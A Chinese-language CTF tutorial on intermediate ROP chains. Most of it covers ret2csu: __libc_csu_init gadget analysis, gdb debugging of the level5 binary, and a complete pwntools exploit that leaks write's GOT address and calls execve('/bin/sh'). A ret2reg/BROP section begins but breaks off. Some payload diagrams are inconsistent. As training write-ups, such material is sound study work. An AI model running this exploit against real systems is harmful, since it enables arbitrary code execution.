中级rop链

1.ret2csu

1.概述

  • 利用程序中存在的一段(可以控制的rbx,rbp,r12,r13,r14,rdx,rsi,rdi寄存器,以及call到指定地址)控制参数的gadgets
  • 然后将程序流程劫持到__libc_csu_init函数(用于初始化libc,基本所有动态链接的的程序都会调用这个函数)执行,从而控制参数

2.关键流程__libc_csu_init的汇编实现

1.汇编实现的源码

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push   r15                  
.text:00000000004005C2                 push   r14                    
.text:00000000004005C4                 mov     r15d, edi               ; 将参数 edi 的值赋给寄存器 r15(通常用于函数调用的参数传递)
.text:00000000004005C7                 push   r13                
.text:00000000004005C9                 push   r12              
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry ; 将__frame_dummy_init_array_entry的地址加载到寄存器 r12 中
.text:00000000004005D2                 push   rbp                    
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry ; 将__do_global_dtors_aux_fini_array_entry的地址加载到寄存器 rbp 中
.text:00000000004005DA                 push   rbx                    
.text:00000000004005DB                 mov     r14, rsi              
.text:00000000004005DE                 mov     r13, rdx                
.text:00000000004005E1                 sub     rbp, r12               ; 计算__do_global_dtors_aux_fini_array_entry和__frame_dummy_init_array_entry之间的偏移,并保存到寄存器 rbp 中
.text:00000000004005E4                 sub     rsp, 8                 ; 在栈上为后续使用额外的8字节空间
.text:00000000004005E8                 sar     rbp, 3                 ; 将 rbp 寄存器的值右移 3 位
.text:00000000004005EC                 call   _init_proc             ; 调用_init_proc函数,可能是用来执行一些初始化操作的
.text:00000000004005F1                 test   rbp, rbp               ; 测试寄存器 rbp 是否为0
.text:00000000004005F4                 jz     short loc_400616       ; 如果 rbp 为0,则跳转到 loc_400616 处
.text:00000000004005F6                 xor     ebx, ebx               ; 将寄存器 ebx 清零
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h] ; 空操作,填充字节
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13               ; 将寄存器 r13 的值(参数 rdx)移动到寄存器 rdx 中
.text:0000000000400603                 mov     rsi, r14               ; 将寄存器 r14 的值(参数 rsi)移动到寄存器 rsi 中
.text:0000000000400606                 mov     edi, r15d               ; 将寄存器 r15d 的值(参数 edi)移动到寄存器 edi 中
.text:0000000000400609                 call   qword ptr [r12+rbx*8]   ; 间接调用 r12+rbx*8 地址处的函数指针,通常用于调用构造函数等
.text:000000000040060D                 add     rbx, 1                 ; 将 rbx 寄存器加1
.text:0000000000400611                 cmp     rbx, rbp               ; 比较 rbx 和 rbp 的值
.text:0000000000400614                 jnz     short loc_400600       ; 如果不相等,则跳转到 loc_400600 继续循环
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8                 ; 释放栈上保存的8字节空间
.text:000000000040061A                 pop     rbx                     ; 恢复寄存器 rbx 的值
.text:000000000040061B                 pop     rbp                     ; 恢复寄存器 rbp 的值
.text:000000000040061C                 pop     r12                     ; 恢复寄存器 r12 的值
.text:000000000040061E                 pop     r13                     ; 恢复寄存器 r13 的值
.text:0000000000400620                 pop     r14                     ; 恢复寄存器 r14 的值
.text:0000000000400622                 pop     r15                     ; 恢复寄存器 r15 的值
.text:0000000000400624                 retn                           ; 函数返回
.text:0000000000400624 __libc_csu_init endp

2.函数调用的流程实现

黑色是指令流程

蓝色是栈的数据赋值

红色是可以利用的漏洞字段

绿色是漏洞利用的原理以及方法

这里再引用wiki上的简述一下,以及大佬画的栈

63                                 31                 15          7        0
-----------------------------------------------------------------------------
| %rax | %eax | %ax | %a1 |返回值
+---------------------------------------------------------------------------+
| %rbx | %ebx | %bx | %b1 |被调用者保存
+---------------------------------------------------------------------------+
| %rcx | %ecx | %cx | %c1 |第4个参数
+---------------------------------------------------------------------------+
| %rdx | %edx | %dx | %d1 |第3个参数
+---------------------------------------------------------------------------+
| %rsi | %esi | %si | %si1 |第2个参数
+---------------------------------------------------------------------------+
| %rdi | %edi | %di | %di1 |第1个参数
+---------------------------------------------------------------------------+
| %rbp | %ebp | %bp | %bp1 |被调用者保存
+---------------------------------------------------------------------------+
| %rsp | %esp | %sp | %sp1 |栈指针
+---------------------------------------------------------------------------+
| %r8 | %e8d | %r8w | %r8b |第5个参数
+---------------------------------------------------------------------------+
| %r9 | %e9d | %r9w | %r9b |第6个参数
+---------------------------------------------------------------------------+
| %r10 | %e10d | %r10w | %r10b |调用者保存
+---------------------------------------------------------------------------+
| %r11 | %e11d | %r11w | %r11b |调用者保存
+---------------------------------------------------------------------------+
| %r12 | %e12d | %r12w | %r12b |被调用者保存
+---------------------------------------------------------------------------+
| %r13 | %e13d | %r13w | %r13b |被调用者保存
+---------------------------------------------------------------------------+
| %r14 | %e14d | %r14w | %r14b |被调用者保存
+---------------------------------------------------------------------------+
| %r15 | %e15d | %r15w | %r15b |被调用者保存
+---------------------------------------------------------------------------+
1.gadget1
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据

2.gadget2

整体

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13 ; 将寄存器 r13 的值(参数 rdx)移动到寄存器 rdx 中
.text:0000000000400603 mov rsi, r14 ; 将寄存器 r14 的值(参数 rsi)移动到寄存器 rsi 中
.text:0000000000400606 mov edi, r15d ; 将寄存器 r15d 的值(参数 edi)移动到寄存器 edi 中
.text:0000000000400609 call qword ptr [r12+rbx*8] ; 间接调用 r12+rbx*8 地址处的函数指针,通常用于调用构造函数等
.text:000000000040060D add rbx, 1 ; 将 rbx 寄存器加1
.text:0000000000400611 cmp rbx, rbp ; 比较 rbx 和 rbp 的值
.text:0000000000400614 jnz short loc_400600 ; 如果不相等,则跳转到 loc_400600 继续循环

局部分析

1.控制流程的地址写入
.text:0000000000400600                 mov     rdx, r13                ; 将寄存器 r13 的值(参数 rdx)移动到寄存器 rdx 中
.text:0000000000400603 mov rsi, r14 ; 将寄存器 r14 的值(参数 rsi)移动到寄存器 rsi 中
.text:0000000000400606 mov edi, r15d ; 将寄存器 r15d 的值(参数 edi)移动到寄存器 edi 中
.text:0000000000400609 call qword ptr [r12+rbx*8] ; 间接调用 r12+rbx*8 地址处的函数指针,通常用于调用构造函数等
  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位
  • 这三个寄存器,也是 x64 函数调用中传递的前三个寄存器
  • 此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数
  • 比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址
2.绕过跳转
.text:000000000040060D                 add     rbx, 1                  ; 将 rbx 寄存器加1
.text:0000000000400611 cmp rbx, rbp ; 比较 rbx 和 rbp 的值
.text:0000000000400614 jnz short loc_400600 ; 如果不相等,则跳转到 loc_400600 继续循环

从 0x000000000040060D 到 0x0000000000400614

我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序

这里我们可以简单的设置 rbx=0,rbp=1

3.漏洞的实际利用思路

假设已经利用栈溢出劫持了程序的流程将返回的地址利用到gadaget1的地方(不需要add rsp,8)直接从0x40059A地址开始即可

  1. 栈中的前6个数据分别弹给rbx,rbp,r12,r13,r14,r15这六个寄存器
  2. rbx的值设置成0,而rbp设置成1
  3. r13,r14,r15这三个值分别对应了rdx,rsi,edi
  4. 执行call qword ptr [r12+rbx*8]这个指令的时候,把r12的值给设置成希望call的地址,与rbx的值的无关
    1. 如果不选这里去cal函数的地址或者还没有她的got表对应的地址
    2. 可以去call一个空函数(term_proc函数)
    3. 填写的并不是_term_proc的地址,而是指向这个函数的地址(就是指针)
    4. 即使你在运行时替换了 term_proc 函数的实现,传递给 cal 函数的地址仍然指向正确的函数(动态链接技术,允许程序在运行时动态地加载和替换函数的实现,而不需要重新编译整个程序)
  5. 绕过跳转( jnz short loc_400600)
  6. r15最后传给的是edi,最后rdi的高32位都是00,而低32位才是r15里的内容(如果想用ret2csu去把rdi里存放成一个地址是不可行)
  7. gadgets利用完,写入gadget2的地址0x400580执行
  8. r13,r14,r15的值放入rdx,rsi,edi三个寄存器里面
  9. call了一个空函数的话,那我们就利用下面的ret
  10. 由于继续向下执行,因此又来到了gadget1
  11. 如果不需要再一次控制参数的话,那我们此时把栈中的数据填充56(7*8你)个垃圾数据
  12. 如果我们还需要继续控制参数的话,继续去控制参数(必须填充56个字节)从而保证能够ret会我们想要执行的地址

4.实例

1.checksec先查一下

image-20240422130324298

只有一个nx保护

2.ida查看,gdb调试利用
image-20240422130455960
image-20240422130524479
1.分析

这里的buf的大小是128个字节,但是read这个地方的传入限制是0x200个字节大小(可以利用栈溢出)

2.栈溢出利用
1.gdb动调发现这里在输出时的对buf的处理
image-20240422155726314
2.进入关键函数vulnerable_function
image-20240422155816124
3.进入read函数
image-20240422155913856
 0x40055d <vulnerable_function+25>    call   read@plt                      <read@plt>
fd: 0x0 (/dev/pts/0)
buf: 0x7fffffffdcf0 ◂— 0x0
nbytes: 0x200
  1. 0x40055d <vulnerable_function+25>:这是汇编代码的地址,它位于 vulnerable_function 函数中的第 25 条指令处
  2. fd: 0x0 (/dev/pts/0):这是函数调用 read第一个参数,通常是文件描述符
  3. fd 被设置为 0,表示标准输入
  4. /dev/pts/0 是对应于标准输入的终端设备
  5. buf: 0x7fffffffdcf0 ◂— 0x0:这是 read 函数的第二个参数,通常是一个指向缓冲区的指针
  6. buf 的地址是 0x7fffffffdcf0,它指向一个内存地址,开始时内容为 0
  7. nbytes: 0x200:这是 read 函数的第三个参数,表示要读取的字节数。在这里,nbytes 被设置为 0x200,即 512 字节
4.观察此时的栈中的buf的大小
 RAX  0x7fffffffdcf0 ◂— 0x0
RBX 0x7fffffffdea8 —▸ 0x7fffffffe214 ◂— '/home/kali/Desktop/question/pwn/ctf_wiki/level5'
RCX 0x7ffff7ec1b00 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x200
*RDI 0x0
RSI 0x7fffffffdcf0 ◂— 0x0
R8 0x400630 (__libc_csu_fini) ◂— repz ret
R9 0x7ffff7fcfb10 (_dl_fini) ◂— push r15
R10 0x7ffff7de3450 ◂— 0x1000220000537c /* '|S' */
R11 0x202
R12 0x0
R13 0x7fffffffdeb8 —▸ 0x7fffffffe244 ◂— 'COLORFGBG=15;0'
R14 0x0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 ◂— 0x0
RBP 0x7fffffffdd70 —▸ 0x7fffffffdd90 ◂— 0x1
RSP 0x7fffffffdcf0 ◂— 0x0
*RIP 0x40055d (vulnerable_function+25) ◂— call 0x400440
──────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
0x400548 <vulnerable_function+4> add rsp, -0x80
0x40054c <vulnerable_function+8> lea rax, [rbp - 0x80]
0x400550 <vulnerable_function+12> mov edx, 0x200
0x400555 <vulnerable_function+17> mov rsi, rax
0x400558 <vulnerable_function+20> mov edi, 0
► 0x40055d <vulnerable_function+25> call read@plt <read@plt>
fd: 0x0 (/dev/pts/0)
buf: 0x7fffffffdcf0 ◂— 0x0
nbytes: 0x200

0x400562 <vulnerable_function+30> leave
0x400563 <vulnerable_function+31> ret

0x400564 <main> push rbp
0x400565 <main+1> mov rbp, rsp
0x400568 <main+4> sub rsp, 0x10
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rax rsi rsp 0x7fffffffdcf0 ◂— 0x0
01:0008│-078 0x7fffffffdcf8 ◂— 0x0
02:0010│-070 0x7fffffffdd00 ◂— 0x2
03:0018│-068 0x7fffffffdd08 ◂— 0x8000000000000006
04:0020│-060 0x7fffffffdd10 ◂— 0x0
... ↓ 3 skipped
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
► 0 0x40055d vulnerable_function+25
1 0x400591 main+45
2 0x7ffff7df16ca __libc_start_call_main+122
3 0x7ffff7df1785 __libc_start_main+133
4 0x400489 _start+41
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pw

栈指针 RSP 的值为 0x7fffffffdcf0,这个地址处保存着 buf 变量的地址

因为 buf 的地址也是 0x7fffffffdcf0

RSPRBP 的偏移为 0x7fffffffdd70 - 0x7fffffffdcf0 = 0x80,即 128 字节

saved bp的位置还有8个字节,那么从变量的起始位置到ret返回有0x80+8个字节

3.查找有效的gadgets

image-20240422130942418
┌──(kali㉿kali)-[~/Desktop/question/pwn/ctf_wiki]
└─$ ROPgadget --binary level5 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400512 : pop rbp ; ret
0x0000000000400511 : pop rbx ; pop rbp ; ret
0x0000000000400417 : ret
0x0000000000400442 : ret 0x200b

Unique gadgets found: 4

di,rsi,rdx三个有用的参数寄存器完全没有找到能控制的gadgets

所以采用ret_csu_init的方法进行利用

4.ret_csu_init利用思路

  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell

5.ida中分析此处的ret_csu_init构造

(注意在不同的程序中寄存器的处理顺序数不同的)

image-20240422153236396
.text:00000000004005A0                               ; __unwind {
.text:00000000004005A0 48 89 6C 24 D8 mov [rsp+var_28], rbp
.text:00000000004005A5 4C 89 64 24 E0 mov [rsp+var_20], r12
.text:00000000004005AA 48 8D 2D 73 08 20 00 lea rbp, cs:600E24h
.text:00000000004005B1 4C 8D 25 6C 08 20 00 lea r12, cs:600E24h
.text:00000000004005B8 4C 89 6C 24 E8 mov [rsp+var_18], r13
.text:00000000004005BD 4C 89 74 24 F0 mov [rsp+var_10], r14
.text:00000000004005C2 4C 89 7C 24 F8 mov [rsp+var_8], r15
.text:00000000004005C7 48 89 5C 24 D0 mov [rsp+var_30], rbx
.text:00000000004005CC 48 83 EC 38 sub rsp, 38h
.text:00000000004005D0 4C 29 E5 sub rbp, r12
.text:00000000004005D3 41 89 FD mov r13d, edi
.text:00000000004005D6 49 89 F6 mov r14, rsi
.text:00000000004005D9 48 C1 FD 03 sar rbp, 3
.text:00000000004005DD 49 89 D7 mov r15, rdx
.text:00000000004005E0 E8 1B FE FF FF call _init_proc
.text:00000000004005E0
.text:00000000004005E5 48 85 ED test rbp, rbp
.text:00000000004005E8 74 1C jz short loc_400606
.text:00000000004005E8
.text:00000000004005EA 31 DB xor ebx, ebx
.text:00000000004005EC 0F 1F 40 00 nop dword ptr [rax+00h]
.text:00000000004005EC
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 4C 89 FA mov rdx, r15
.text:00000000004005F3 4C 89 F6 mov rsi, r14
.text:00000000004005F6 44 89 EF mov edi, r13d
.text:00000000004005F9 41 FF 14 DC call qword ptr [r12+rbx*8]
.text:00000000004005F9
.text:00000000004005FD 48 83 C3 01 add rbx, 1
.text:0000000000400601 48 39 EB cmp rbx, rbp
.text:0000000000400604 75 EA jnz short loc_4005F0
.text:0000000000400604
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 48 8B 5C 24 08 mov rbx, [rsp+38h+var_30]
.text:000000000040060B 48 8B 6C 24 10 mov rbp, [rsp+38h+var_28]
.text:0000000000400610 4C 8B 64 24 18 mov r12, [rsp+38h+var_20]
.text:0000000000400615 4C 8B 6C 24 20 mov r13, [rsp+38h+var_18]
.text:000000000040061A 4C 8B 74 24 28 mov r14, [rsp+38h+var_10]
.text:000000000040061F 4C 8B 7C 24 30 mov r15, [rsp+38h+var_8]
.text:0000000000400624 48 83 C4 38 add rsp, 38h
.text:0000000000400628 C3 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628
.text:0000000000400628 __libc_csu_init endp
.text:0000000000400628

因为这里之开启了nx保护所以只需要把rdx寄存器的值交给r15寄存器,就能在地址(.text:00000000004005DD 49 89 D7 mov r15, rdx)将gts等函数加载到栈中

6.ret_csu_init事件中常用的利用点

1.从0x0000000000400606到0x0000000000400628
.text:0000000000400606 48 8B 5C 24 08                mov     rbx, [rsp+38h+var_30]
.text:000000000040060B 48 8B 6C 24 10 mov rbp, [rsp+38h+var_28]
.text:0000000000400610 4C 8B 64 24 18 mov r12, [rsp+38h+var_20]
.text:0000000000400615 4C 8B 6C 24 20 mov r13, [rsp+38h+var_18]
.text:000000000040061A 4C 8B 74 24 28 mov r14, [rsp+38h+var_10]
.text:000000000040061F 4C 8B 7C 24 30 mov r15, [rsp+38h+var_8]
.text:0000000000400624 48 83 C4 38 add rsp, 38h
.text:0000000000400628 C3 retn
  1. 可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据
  2. 利用ret的返回操作,可以通过溢出将ret原有的地址覆盖成我们想要跳转的地址
2.从0x00000000004005F0到0x00000000004005F9
.text:00000000004005F0                               loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 4C 89 FA mov rdx, r15
.text:00000000004005F3 4C 89 F6 mov rsi, r14
.text:00000000004005F6 44 89 EF mov edi, r13d
.text:00000000004005F9 41 FF 14 DC call qword ptr [r12+rbx*8]
.text:00000000004005F9
  1. 将r15中的值赋给rdx
  2. 将r14中的值赋给rsi
  3. 将r13中的值赋给edi(其实这里赋给的是rdi的低32位,高32位寄存器的值为0,所以可以达到控制rdi的目的,但是只能控制低32位)
  4. 这三个寄存器就是0x64函数调用中的前三个参数(如果需要用到含有三个参数的函数的时候,那么这一段gadget就很有用)
  5. 利用最后的call命令,call命令指向的地址是由r12寄存器和rbx寄存器联合控制的,那么可以通过控制r12和rbx来call到我们想要到达的地址
3.从0x00000000004005FD到0x0000000000400604
.text:00000000004005FD 48 83 C3 01                   add     rbx, 1
.text:0000000000400601 48 39 EB cmp rbx, rbp
.text:0000000000400604 75 EA jnz short loc_4005F0
  1. 可以控制rbx和rbp 的之间的关系为 rbx+1 = rbp
  2. 这样我们就不会执行 loc_4005F0
  3. 进而可以继续执行下面的汇编程序
  4. 这里我们可以简单的设rbx=0,rbp=1

7.exp构造思路

  1. 找到 read ,write的got表地址,bss段地址,main函数的地址
  2. 利用栈溢出执行libc_csu_init函数中的gadget,通过got表中的write函数的地址调用write函数打印自己的地址,重新执行main
  3. 得到libc版本,以及execve的地址
  4. 利用栈溢出执行libc_csu_init函数中的gadget,通过got表中的write函数的地址调用write函数打印自己的地址,重新执行main
  5. 利用栈溢出执行libc_csu_init函数中的gadget,执行写入bss段的execve(’/bin/sh’)

8.构造payoad

填充0x80+8个字符+ret返回的地址

1.write函数的参数构造
ssize_t write (int fd, const void * buf, size_t count)

这里甩一个gpt的专业解释

  1. ssize_t:这是一个有符号整数类型,通常用于表示函数的返回值或者表示一个字节大小。在这里,它表示函数的返回类型,用于指示写入操作的结果。ssize_t 通常是 typedef 定义的,其大小与平台相关,但通常是 long 类型
  2. write:这是函数的名称,表示进行写入操作
  3. int fd:这是一个整数参数,表示要写入的文件的文件描述符(file descriptor)。文件描述符是一个非负整数,用于在操作系统中标识已打开文件的引用。通常,0表示标准输入(stdin),1表示标准输出(stdout),2表示标准错误(stderr),其他数值表示其他已打开的文件
  4. const void *buf:这是一个指向要写入的数据的指针,是一个 void 类型的指针,表示它可以指向任意类型的数据。由于在写入文件时不需要修改数据,因此使用 const 修饰符来表示指针所指向的数据是不可修改的
  5. size_t count:这是一个无符号整数类型,表示要写入的数据的字节数。size_t 类型通常是平台相关的,但通常是 unsigned int 或者 unsigned long 类型

总结一下: 部署三个参数:

1.fd :1(标准输出)

2.buf:要写入数据的指针

3.size_t count:写如数据的大小

寄存器和指令存储数据具体数据
rdi1rdi存放第一参数,标准输出文件描述符:fd = 1
rsiwrite_gotrsi存放第二参数,需要输出的内存地址:*buf = write_got
rdx8rdx存放第三参数,输出字节数:count = 8
callwrite_gotcall write_got调用write函数
2.对应libc_csu_init的调用
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]

这个地方要在rdx、rsi和edi中部署参数

首先需要在r15中部署count,在r14中部署buf,在r13中部署fd

并且如果想要在最后使用call命令调用write_got地址,那么就需要对r12和rbx做出调整

如果将write_got地址部署在r12中,并且将0部署在rbx中

那么r12+rbx8=write_got + 08=write_got,就可以达到call write_got的目的

补充传参调用:

寄存器存储数据
rbx0
r12write_got
r131
r14write_got
r158
3.在libc_csu_init函数有可以利用的gadget
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 ret

最后这个地方的ret跳转可以覆写为返回前面的gadget的寄存器赋值的位置

ret位置(0x0000000000400628)就应该覆写为0x00000000004005F0这个地址(赋值gadget的开头),让参数赋值顺利进行

给rbp,rbx,r12,r13,r14,r15赋值时注意偏移

4.调用main函数执行操作

最后还需要重新调用main函数,为接下来的操作做准备。但发现第二次利用的gadget中并没有ret返回指令,所以只能使用最下面的ret做为main函数地址存放位置。中间就需要对rbp的值做处理,从0x00000000004005FD到0x0000000000400604这段地址,可以控制rbx和rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4005F0,进而可以继续执行下面的汇编程序,所以我们将rbp的值设为1。我们可以看到在call指令后面的汇编指令中sp指针的位置并没有发生变化,都是使用偏移的方式进行数据交互的。最后的0x0000000000400624位置做了sp的平衡堆栈,把sp指针位置加了0x38个字节,最后才是ret返回地址,还需要使用0x38个字节来进行填充,最后在ret返回指令处部署main函数地址

5.最终各个寄存器的存放的方式
寄存器存储数据
rbx0
rbp1
r12write_got
r131
r14write_got
r158
6.最终payload拼接
payload = 'A' * 88   #0x80+8个字符
+= p64(csu_behind_gadget)
+= p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
+= p64(csu_front_gadget)
+= 'hollkdig' * 7 #0x38个字符
+= main_addr
7.后面调用read以及execve函数的利用前面有就简述一下
  • read函数阶段是将bss段地址作为参数,向bss段首地址写execve函数地址以及/bin/sh字符串
  • read函数结构:ssize_t read(int fd, void * buf, size_t count)
  • 调用execve函数阶段是将bss首地址(execve函数地址)和bss+8,即首地址的下8位地址(/bin/sh字符串)作为参数,只用到两个参数,所以只需要对r12和r13两个寄存器赋值,其他的寄存器都可以使用0占位

8.最终EXP

from pwn import *
from LibcSearcher import *

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write'] #获取write函数的got地址
read_got = level5.got['read'] #获取read函数的got地址
main_addr = level5.symbols['main'] #获取main函数的函数地址
bss_base = level5.bss() #获取bss段地址
csu_front_gadget = 0x00000000004005F0
#_libc_csu_init函数中位置靠前的gadget,即向rdi、rsi、rdx寄存器mov的gadget
csu_behind_gadget = 0x0000000000400606
#_libc_csu_init函数中位置靠后的gadget,即pop rbx、rbp、r12、r13、r14、r15寄存器的gadget

#自定义csu函数,方便每一次构造payload
def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
#fill为填充sp指针偏移造成8字节空缺
#rbx, rbp, r12, r13, r14, r15皆为pop参数
#main为main函数地址
payload = 'hollkdig' * 17 #0x80+8个字节填满栈空间至ret返回指令
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_gadget)
payload += 'hollkdig' * 7 #0x38个字节填充平衡堆栈造成的空缺
payload += p64(main)
sh.send(payload) #发送payload
sleep(1) #暂停等待接收

sh.recvuntil('Hello, World\n')
#write函数布局打印write函数地址并返回main函数
csu(0,0, 1, write_got, 1, write_got, 8, main_addr)

write_addr = u64(sh.recv(8)) #接收write函数地址
libc = LibcSearcher('write', write_addr) #LibcSearcher查找libc版本
libc_base = write_addr - libc.dump('write') #计算该版本libc基地址
execve_addr = libc_base + libc.dump('execve') #查找该版本libc execve函数地址
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil('Hello, World\n')
#read函数布局,将execve函数地址和/bin/sh字符串写进bss段首地址
csu(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
#调用bss段中的execve('/bin/sh')
csu(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()

9.payload在栈中的布局

1.payload1
                 			 +---------------------------+
| main_addr | 覆盖behind_gadget后的ret重新执行main
------+---------------------------+
^ | hollkdig | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
0x38 | ........ | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
v | hollkdig | hollkdig填充堆栈平衡造成的空缺
------+---------------------------+
| csu_front_gadgwt | 覆盖原ret返回位置,调用front_gadget
+---------------------------+
| 00000008 | 放置在r15中,作为write函数的count参数
+---------------------------+
| write_got | 放置在r14中,作为write函数的buf参数
+---------------------------+
| 00000001 | 放置在r13中,作为write函数的fd参数
+---------------------------+
| write_got | 放置在r12中,作为call的执行函数
+---------------------------+
| 00000001 | 放置在rbp中,使front_gadget后继续执行
+---------------------------+
| 00000000 | 0放置在rbx中,使得call write函数可行
+---------------------------+
| 00000000 | 八个0填充sp指针偏移造成的空缺
+---------------------------+
| csu_behind_gadget | 覆盖原ret返回位置,调用behind_gadget
+---------------------------+
| hollkdig | hollkdig覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| ........ | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
buf终止位置,ebp-0x80-->+----------------------------+
2.payload2
                 			 +---------------------------+
| main_addr | 覆盖behind_gadget后的ret重新执行main
------+---------------------------+
^ | hollkdig | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
0x38 | ........ | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
v | hollkdig | hollkdig填充堆栈平衡造成的空缺
------+---------------------------+
| csu_front_gadgwt | 覆盖原ret返回位置,调用front_gadget
+---------------------------+
| 00000008 | 放置在r15中,作为read函数的count参数
+---------------------------+
| bss_addr | 放置在r14中,作为read函数的buf参数
+---------------------------+
| 00000001 | 放置在r13中,作为read函数的fd参数
+---------------------------+
| read_got | 放置在r12中,作为call的执行函数
+---------------------------+
| 00000001 | 放置在rbp中,使front_gadget后继续执行
+---------------------------+
| 00000000 | 0放置在rbx中,使得call read函数可行
+---------------------------+
| 00000000 | 八个0填充sp指针偏移造成的空缺
+---------------------------+
| csu_behind_gadget | 覆盖原ret返回位置,调用behind_gadget
+---------------------------+
| hollkdig | hollkdig覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| ........ | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
buf终止位置,ebp-0x80-->+----------------------------+
3.payload3
                       +---------------------------+
| 00000000 | 占位
+---------------------------+
| 00000000 | 占位
+---------------------------+
| bss_addr+8 | /bin/sh放置在r13中,作为exe函数的参数
+---------------------------+
| bss_addr | exe函数放置在r12中,作为call的执行函数
+---------------------------+
| 00000001 | 占位
+---------------------------+
| 00000000 | 占位
+---------------------------+
| 00000000 | 八个0填充sp指针偏移造成的空缺
+---------------------------+
| csu_behind_gadget | 覆盖原ret返回位置,调用behind_gadget
+---------------------------+
| hollkdig | hollkdig覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| ........ | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
buf终止位置,ebp-0x80-->+----------------------------+

2.ret2reg以及BROP

1.基本概述

1.题目源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
